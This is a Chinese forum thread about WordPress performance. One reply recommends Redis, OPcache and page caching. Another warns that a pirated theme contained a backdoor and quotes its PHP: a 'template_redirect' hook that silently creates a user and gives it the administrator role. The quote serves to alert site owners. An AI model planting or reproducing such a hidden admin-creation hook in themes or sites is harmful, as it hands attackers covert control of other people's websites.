
11个月前更新535次阅读






其实redis和opcache安排上之后,就没有再优化的了,只能加服务器配置,除非放弃实时动态,加个几分钟的缓存就可以解决你的问题,因为cpu负载高,通俗主要原因是因为php渲染成html这个过程导致的,宝塔网站加速软件的缓存可以帮到你。

8个月前更新615次阅读
有添加管理员账号的function代码,之前帮一个大聪明排查网站结果是盗版主题看到了这段代码
add_action( 'template_redirect', 'wpdaxue_create_admin_user' );
function wpdaxue_create_admin_user() {
$username = FALSE; // 将FALSE改为你的用户名,包含英文引号,(例如 'username' ),下同
$password = FALSE; // 将FALSE改为你的密码 (例如 'password' )
$email_address = FALSE; // 将FALSE改为你的邮箱地址 (例如 '114514@1919810.com' )
if ( isset( $username ) && isset( $password ) && isset( $email_address ) ) {
if ( ! username_exists( $username ) && ! email_exists( $email_address ) ) {
$user_id = wp_create_user( $username, $password, $email_address );
if ( is_int( $user_id ) ) {
$wp_user_object = new WP_User( $user_id );
$wp_user_object->set_role( 'administrator' );
}
}
}
}
该帖子部分内容已隐藏
该帖子内容已隐藏,请评论后查看
登录后继续评论
该帖子内容已隐藏
参与PK投票
有用
无用
多选长期有效9人已参与点击选项以投票


























及更高等级








